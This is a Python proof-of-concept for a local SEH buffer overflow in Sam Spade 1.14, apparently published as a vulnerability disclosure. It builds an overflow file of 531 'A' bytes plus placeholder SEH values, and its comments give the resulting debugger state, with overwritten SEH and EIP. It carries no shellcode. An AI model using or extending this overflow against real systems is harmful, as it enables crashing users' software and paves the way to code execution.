#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title		: Sam Spade 1.14 Scan from IP address Field SEH Overflow Crash PoC
# Discovery by		: Luis Martínez
# Email			: l4m5@hotmail.com
# Discovery Date	: 20/10/2015
# Vendor Homepage	: http://samspade.org
# Software Link		: http://www.majorgeeks.com/files/details/sam_spade.html
# Tested Version	: 1.14
# Vulnerability Type	: Denial of Service (DoS) Local
# Tested on OS		: Windows XP Professional SP3 x86 es
# Crash Point		: Go to Tools > Scan addresses field > Enter the contents of 'samspade_1.14_BoF.txt' > OK
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#  -----------------------------------NOTES----------------------------------------------#
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# After the execution of POC, the SEH chain looks like this:
# 0012EBE0 43434343
# 42424242 *** CORRUPT ENTRY ***

# And the Stack

#0012EBD0   41414141  AAAA
#0012EBD4   41414141  AAAA
#0012EBD8   41414141  AAAA
#0012EBDC   41414141  AAAA
#0012EBE0   42424242  BBBB  Pointer to next SEH record
#0012EBE4   43434343  CCCC  SE handler

# And the Registers

#EAX 00000001
#ECX 00000001
#EDX 00140608
#EBX 00000000
#ESP 0012EBD0 ASCII "AAAAAAAAAAAAAAAABBBBCCCC - "
#EBP 41414141
#ESI 00C2BD00
#EDI 00E89DB0
#EIP 41414141

buffer = "\x41" * 531
nseh = "\x42" * 4
seh = "\x43" * 4
f = open ("samspade_1.14_BoF.txt", "w")
f.write(buffer+nseh+seh)
f.close()